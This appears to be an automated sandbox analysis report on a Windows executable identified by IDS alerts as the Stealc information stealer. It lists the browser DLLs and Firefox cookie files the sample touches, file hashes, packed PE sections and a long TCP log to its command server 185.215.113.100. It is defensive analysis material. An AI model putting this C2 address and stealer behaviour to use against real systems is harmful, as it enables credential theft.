Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946014963098182
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'800'704 bytes
MD5:	365b68b5ce1d90a3cd9a2580d5f557c4
SHA1:	1c94fb5d28f2bd2a449aed89c39d014030c2cb2b
SHA256:	80692f9e1a74a1086e71c69775a1b702c765dc7df4302ebdbca975b8b8006b79
SHA512:	12ed9fd6900b73b2110ac0358a8427938a8ccfe0196bbf3eb1487ff17f8b5b1e9de00dde6cb2af73bcc7c1e6b575df2099b4bcc1f23374f39042d12edd38f055
SSDEEP:	49152:DW3KijTG9kKIfhdhuQykSW044SaVbBsGJ53Ppn1XYGPHST/cA+AJ2f:uKijS9kFPhuOSW/47BsydZ1VqZJq
TLSH:	F6853329C623AEF2DD39553703867E04F7A150F9635FADCA68468B538C3E72CA641B43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C88B4D [Fri Aug 23 13:14:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F90CC7D8E6Ah
addps xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax+eax+00h], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x23d000	0x13c00	1ea0de9a88627600173233776daccf1a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x23f000	0x1000	0x200	380655991303f284fcb90ef8e49522a1	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x240000	0x2a7000	0x200	5aae61668c96eb9ac805d7ecdf039645	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qnausojl	0x4e7000	0x1a1000	0x1a0400	f31bb8807af5d0db66df78ecc2236b6f	False	0.9948350694444444	data	7.954050987249931	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vzupzhya	0x688000	0x1000	0x400	26facc5715618b2d7f32d1d372e29a70	False	0.77734375	data	6.123398501590254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x689000	0x3000	0x2200	10ca3d81e66d4b604c55bc1500d5e031	False	0.06307444852941177	DOS executable (COM)	0.7947243008948401	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T10:14:02.651412+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:12.565366+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:01.990379+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:10.217062+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:15.957350+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:02.657785+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49704	185.215.113.100	192.168.2.5
2024-08-31T10:14:02.410563+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49704	185.215.113.100	192.168.2.5
2024-08-31T10:14:02.265130+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:04.258516+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:13.334539+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:03.778217+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:16.534247+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100
2024-08-31T10:14:11.611261+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.5	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 10:14:00.977993011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:00.982920885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:00.983000040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:00.983134985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:00.987869024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:01.727256060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:01.727322102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:01.730932951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:01.735721111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:01.990170956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:01.990379095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.019675016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.024471998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.265074968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.265130043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.267354965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.267405987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.399219990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.399312973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.405746937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.410562992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651240110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651251078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651271105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651282072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651303053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651384115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651412010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.651420116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651431084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.651453018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.651479006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.652995110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.657784939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.904479027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.904534101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.920972109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.921010017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:02.931344032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.931353092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.931365013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.931372881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.931480885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:02.931493044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:03.778012991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:03.778217077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.016782045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.021701097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258338928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258358002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258373976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258387089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258402109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258415937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258433104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.258516073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.258516073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.258516073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.258516073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.259114981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259159088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.259159088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259197950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.259404898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259430885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259440899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259454966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.259462118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.259476900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.259514093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.407380104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407476902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407489061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407588005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407598019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407629013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.407629013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.407665968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.407787085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407840014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.407954931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.407996893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408015966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408030033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408046007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408075094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408178091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408185959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408245087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408423901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408436060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408456087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408469915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408487082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408516884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.408978939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.408989906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409010887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409033060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.409158945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.409286022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409337997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409343958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.409353018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409380913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.409404039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409408092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.409415007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.409460068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.410130978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.410175085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.410183907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.410186052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.410226107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.410255909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.410265923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.410281897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.410309076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.410953045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.411001921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557233095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557248116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557266951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557327032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557356119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557379007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557379961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557390928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557404041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557405949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557425022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557425976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557435036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557447910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557454109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557476044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557497025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557898045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557908058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557926893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.557939053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557951927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.557972908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:04.558249950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.558259964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.558279037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:04.558298111 CEST	49704	80	192.168.2.5	185.215.113.100
